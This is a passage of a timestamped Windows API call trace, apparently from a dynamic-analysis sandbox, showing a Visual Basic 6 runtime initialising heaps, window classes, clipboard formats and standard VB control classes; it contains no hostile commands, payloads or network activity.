(in: lpAddress=0x19fea0, lpBuffer=0x19fe84, dwLength=0x1c | out: lpBuffer=0x19fe84*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0084.452] GetUserDefaultLCID () returned 0x409 [0084.452] IsValidCodePage (CodePage=0x3a4) returned 1 [0084.453] IsValidCodePage (CodePage=0x3b5) returned 1 [0084.453] IsValidCodePage (CodePage=0x3b6) returned 1 [0084.453] IsValidCodePage (CodePage=0x3a8) returned 1 [0084.457] GetUserDefaultLangID () returned 0x409 [0084.457] GetSystemDefaultLangID () returned 0x640409 [0084.457] GetSystemMetrics (nIndex=42) returned 0 [0084.457] IMalloc:Alloc (This=0x74b3d000, cb=0xa8) returned 0x640e08 [0084.457] IMalloc:GetSize (This=0x74b3d000, pv=0x640e08) returned 0xa8 [0084.457] IMalloc:Alloc (This=0x74b3d000, cb=0xc) returned 0x6515b0 [0084.457] GetCurrentThreadId () returned 0x10c0 [0084.457] IMalloc:Alloc (This=0x74b3d000, cb=0x3c) returned 0x646680 [0084.457] IMalloc:Alloc (This=0x74b3d000, cb=0x1c) returned 0x63ad08 [0084.459] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x19fe6c | out: phkResult=0x19fe6c*=0x0) returned 0x2 [0084.459] IMalloc:Alloc (This=0x74b3d000, cb=0x1c) returned 0x63ad30 [0084.459] GetCurrentThreadId () returned 0x10c0 [0084.459] SetWindowsHookExA (idHook=-1, lpfn=0x66061e09, hmod=0x0, dwThreadId=0x10c0) returned 0x8021b [0084.459] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x14) returned 0x2091e50 [0084.459] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x80) returned 0x2091e70 [0084.459] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x10) returned 0x2091ef8 [0084.459] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x2c) returned 0x2091f10 [0084.459] GetClassInfoA (in: hInstance=0x66000000, lpClassName="VBMsoStdCompMgr", lpWndClass=0x19fdc4 | out: lpWndClass=0x19fdc4) returned 0 [0084.460] RegisterClassA (lpWndClass=0x19fdc4) returned 0xc19f [0084.460] CreateWindowExA (dwExStyle=0x0, lpClassName="VBMsoStdCompMgr", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x66000000, lpParam=0x0) returned 0x302b2 [0084.460] NtdllDefWindowProc_A (hWnd=0x302b2, Msg=0x81, wParam=0x0, lParam=0x19f990) returned 0x1 [0084.460] NtdllDefWindowProc_A (hWnd=0x302b2, Msg=0x83, wParam=0x0, lParam=0x19f97c) returned 0x0 [0084.461] NtdllDefWindowProc_A (hWnd=0x302b2, Msg=0x1, wParam=0x0, lParam=0x19f990) returned 0x0 [0084.461] NtdllDefWindowProc_A (hWnd=0x302b2, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0084.461] NtdllDefWindowProc_A (hWnd=0x302b2, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0084.463] SetWindowLongA (hWnd=0x302b2, nIndex=0, dwNewLong=34152052) returned 0 [0084.463] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x38) returned 0x2091f48 [0084.463] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x18) returned 0x2091f88 [0084.463] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x10) returned 0x2091fa8 [0084.463] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0084.463] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0084.463] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0084.463] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0084.463] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0084.463] RegisterClipboardFormatA (lpszFormat="OwnerLink") returned 0xc003 [0084.463] RegisterClipboardFormatA (lpszFormat="FileName") returned 0xc006 [0084.464] CreateCompatibleDC (hdc=0x0) returned 0x5e01066f [0084.464] GetCurrentObject (hdc=0x5e01066f, type=0x7) returned 0x85000f [0084.464] CreateWindowExA (dwExStyle=0x0, lpClassName="VBFocusRT6", lpWindowName=0x0, dwStyle=0x40000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x7012a, hMenu=0x0, hInstance=0x66000000, lpParam=0x0) returned 0x302ca [0084.464] NtdllDefWindowProc_A (hWnd=0x302ca, Msg=0x81, wParam=0x0, lParam=0x19fa20) returned 0x1 [0084.464] NtdllDefWindowProc_A (hWnd=0x302ca, Msg=0x83, wParam=0x0, lParam=0x19fa0c) returned 0x0 [0084.465] NtdllDefWindowProc_A (hWnd=0x302ca, Msg=0x1, wParam=0x0, lParam=0x19fa20) returned 0x0 [0084.465] NtdllDefWindowProc_A (hWnd=0x302ca, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0084.465] NtdllDefWindowProc_A (hWnd=0x302ca, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0084.465] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x210, wParam=0x1, lParam=0x302ca) returned 0x0 [0084.465] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x18) returned 0x2091fc0 [0084.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x114) returned 0x5b05a8 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x5c) returned 0x2091fe8 [0084.466] GetCurrentThreadId () returned 0x10c0 [0084.466] GetCurrentThreadId () returned 0x10c0 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x10) returned 0x2092050 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x30) returned 0x2092068 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x434) returned 0x20920a0 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x434) returned 0x20924e0 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x3c) returned 0x2092920 [0084.466] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2092968 [0084.466] lstrlenA (lpString="VB") returned 2 [0084.466] lstrlenA (lpString="Label") returned 5 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x9) returned 0x2092a88 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x34) returned 0x2092aa0 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xf0) returned 0x2092ae0 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x48) returned 0x2092bd8 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1f4) returned 0x2092c28 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x28) returned 0x2092e28 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2092e58 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x28) returned 0x2092e78 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2092ea8 [0084.467] lstrlenA (lpString="VB") returned 2 [0084.467] lstrlenA (lpString="OptionButton") returned 12 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x10) returned 0x2092fc8 [0084.467] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x2092fe8 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xd4) returned 0x2093018 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x4c) returned 0x20930f8 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1c8) returned 0x2093150 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2093320 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2093340 [0084.468] lstrlenA (lpString="VB") returned 2 [0084.468] lstrlenA (lpString="Printer") returned 7 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xb) returned 0x2093460 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xdc) returned 0x2093478 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2093560 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2093580 [0084.468] lstrlenA (lpString="VB") returned 2 [0084.468] lstrlenA (lpString="Form") returned 4 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x20936a0 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x184) returned 0x20936b0 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x7c) returned 0x2093840 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x2f8) returned 0x20938c8 [0084.468] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2093bc8 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2093be8 [0084.469] lstrlenA (lpString="VB") returned 2 [0084.469] lstrlenA (lpString="Screen") returned 6 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xa) returned 0x2093d08 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x2c) returned 0x2093d20 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xa0) returned 0x2093d58 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2093e00 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2093e20 [0084.469] lstrlenA (lpString="VB") returned 2 [0084.469] lstrlenA (lpString="Clipboard") returned 9 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xd) returned 0x2093f40 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x1c) returned 0x2093f58 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x68) returned 0x2093f80 [0084.469] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x2092e28, Size=0x50) returned 0x2093ff0 [0084.469] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2092e28 [0084.469] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x2092e78, Size=0x50) returned 0x2094048 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x20940a0 [0084.470] lstrlenA (lpString="VB") returned 2 [0084.470] lstrlenA (lpString="MDIForm") returned 7 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xb) returned 0x2092e78 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x184) returned 0x20941c0 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x7c) returned 0x2094350 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x2f8) returned 0x20943d8 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x20946d8 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x20946f8 [0084.470] lstrlenA (lpString="VB") returned 2 [0084.470] lstrlenA (lpString="App") returned 3 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x7) returned 0x2092e48 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x84) returned 0x2094818 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x148) returned 0x20948a8 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x20949f8 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2094a18 [0084.470] lstrlenA (lpString="VB") returned 2 [0084.470] lstrlenA (lpString="Line") returned 4 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x2092e90 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x18) returned 0x2094b38 [0084.470] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x50) returned 0x2094b58 [0084.471] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xd0) returned 0x2094bb0 [0084.471] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2094c88 [0084.471] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2094ca8 [0084.471] lstrlenA (lpString="VB") returned 2 [0084.471] lstrlenA (lpString="UserControl") returned 11 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xf) returned 0x2094dc8 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x1e4) returned 0x2094de0 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xb0) returned 0x2094fd0 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x3a4) returned 0x2095088 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2095438 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2095458 [0084.472] lstrlenA (lpString="VB") returned 2 [0084.472] lstrlenA (lpString="PropertyPage") returned 12 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x10) returned 0x2095578 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x190) returned 0x2095590 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x88) returned 0x2095728 [0084.472] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x310) returned 0x20957b8 [0084.473] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x2093ff0, Size=0x78) returned 0x2095ad0 [0084.473] lstrcmpiA (lpString1="VB.MDIForm", lpString2="VB.PropertyPage") returned -1 [0084.473] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2093ff0 [0084.473] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x2094048, Size=0x78) returned 0x2095b50 [0084.473] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2095bd0 [0084.473] lstrlenA (lpString="VB") returned 2 [0084.473] lstrlenA (lpString="UserDocument") returned 12 [0084.473] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x10) returned 0x2094010 [0084.477] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x1c8) returned 0x2095cf0 [0084.477] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xa8) returned 0x2095ec0 [0084.477] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x370) returned 0x2095f70 [0084.477] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2094028 [0084.477] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x20) returned 0x2094048 [0084.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x5b06c8 [0084.480] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xa0) returned 0x20962e8 [0084.480] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x2094070 [0084.480] GetCurrentThreadId () returned 0x10c0 [0084.480] GetCurrentThreadId () returned 0x10c0 [0084.480] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x10) returned 0x2096390 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x20963a8 [0084.482] lstrlenA (lpString="VB") returned 2 [0084.482] lstrlenA (lpString="PictureBox") returned 10 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xe) returned 0x20964c8 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x16c) returned 0x20964e0 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x68) returned 0x2096658 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x2c8) returned 0x20966c8 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2096998 [0084.482] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x20998e8 [0084.483] lstrlenA (lpString="VB") returned 2 [0084.483] lstrlenA (lpString="TextBox") returned 7 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xb) returned 0x20904a0 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x38) returned 0x20904b8 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x120) returned 0x2099a08 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x60) returned 0x20904f8 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x250) returned 0x2099b30 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x2090560 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x2099d88 [0084.483] lstrlenA (lpString="VB") returned 2 [0084.483] lstrlenA (lpString="Frame") returned 5 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x9) returned 0x2090580 [0084.483] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x24) returned 0x2099ea8 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xb0) returned 0x2099ed8 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x34) returned 0x2099f90 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x184) returned 0x2099fd0 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a248 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209a968 [0084.484] lstrlenA (lpString="VB") returned 2 [0084.484] lstrlenA (lpString="CommandButton") returned 13 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x11) returned 0x209a228 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x209aa88 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xd4) returned 0x209aab8 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x44) returned 0x209ab98 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1c8) returned 0x209abe8 [0084.484] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x2095ad0, Size=0xa0) returned 0x209adb8 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a268 [0084.484] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x2095b50, Size=0xa0) returned 0x209ae60 [0084.484] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209af08 [0084.485] lstrlenA (lpString="VB") returned 2 [0084.485] lstrlenA (lpString="CheckBox") returned 8 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xc) returned 0x2095ad0 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x2095ae8 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xec) returned 0x209b028 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x48) returned 0x2095b18 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1f8) returned 0x209b120 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a2a8 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209bdb0 [0084.485] lstrlenA (lpString="VB") returned 2 [0084.485] lstrlenA (lpString="ComboBox") returned 8 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xc) returned 0x209c350 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x108) returned 0x209c530 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x4c) returned 0x2095b68 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x230) returned 0x209c640 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a448 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209bed8 [0084.485] lstrlenA (lpString="VB") returned 2 [0084.485] lstrlenA (lpString="ListBox") returned 7 [0084.485] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xb) returned 0x209c3f8 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x108) returned 0x209c878 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x54) returned 0x209c988 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x230) returned 0x209c9e8 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a468 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209bc88 [0084.486] lstrlenA (lpString="VB") returned 2 [0084.486] lstrlenA (lpString="HScrollBar") returned 10 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xe) returned 0x209c4d0 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x24) returned 0x209cc20 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x90) returned 0x209cc50 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x209cce8 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x144) returned 0x209cd18 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a3a8 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209c000 [0084.486] lstrlenA (lpString="VB") returned 2 [0084.486] lstrlenA (lpString="VScrollBar") returned 10 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xe) returned 0x209c4b8 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x24) returned 0x209ce68 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x90) returned 0x209ce98 [0084.486] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x209cf30 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x144) returned 0x209cf60 [0084.487] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x209adb8, Size=0xc8) returned 0x209d0b0 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a4c8 [0084.487] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x209ae60, Size=0xc8) returned 0x209d180 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209bb60 [0084.487] lstrlenA (lpString="VB") returned 2 [0084.487] lstrlenA (lpString="Timer") returned 5 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x9) returned 0x209c3e0 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xc) returned 0x209c368 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x30) returned 0x209adb8 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x4) returned 0x2095bc0 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x9c) returned 0x209adf0 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a288 [0084.487] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209b910 [0084.487] lstrlenA (lpString="VB") returned 2 [0084.488] lstrlenA (lpString="DriveListBox") returned 12 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x10) returned 0x209c4e8 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x209ae98 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xc0) returned 0x209d250 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x40) returned 0x209d318 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1a0) returned 0x209d360 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a348 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209c128 [0084.488] lstrlenA (lpString="VB") returned 2 [0084.488] lstrlenA (lpString="DirListBox") returned 10 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xe) returned 0x209c500 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x209aec8 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xc8) returned 0x209d508 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x50) returned 0x209d5d8 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1b0) returned 0x209d630 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a368 [0084.488] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209b348 [0084.488] lstrlenA (lpString="VB") returned 2 [0084.489] lstrlenA (lpString="FileListBox") returned 11 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xf) returned 0x209c410 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x28) returned 0x209d7e8 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xec) returned 0x209d818 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x58) returned 0x209d910 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1f8) returned 0x209d970 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a2e8 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209b470 [0084.489] lstrlenA (lpString="VB") returned 2 [0084.489] lstrlenA (lpString="Menu") returned 4 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x209aef8 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x38) returned 0x209db70 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x4) returned 0x2090598 [0084.489] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xb8) returned 0x209dbb0 [0084.493] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x209d0b0, Size=0xf0) returned 0x209dc70 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a308 [0084.493] RtlReAllocateHeap (Heap=0x2090000, Flags=0x0, Ptr=0x209d180, Size=0xf0) returned 0x209dd68 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209b598 [0084.493] lstrlenA (lpString="VB") returned 2 [0084.493] lstrlenA (lpString="Shape") returned 5 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x9) returned 0x209c380 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x1c) returned 0x209d0b0 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, 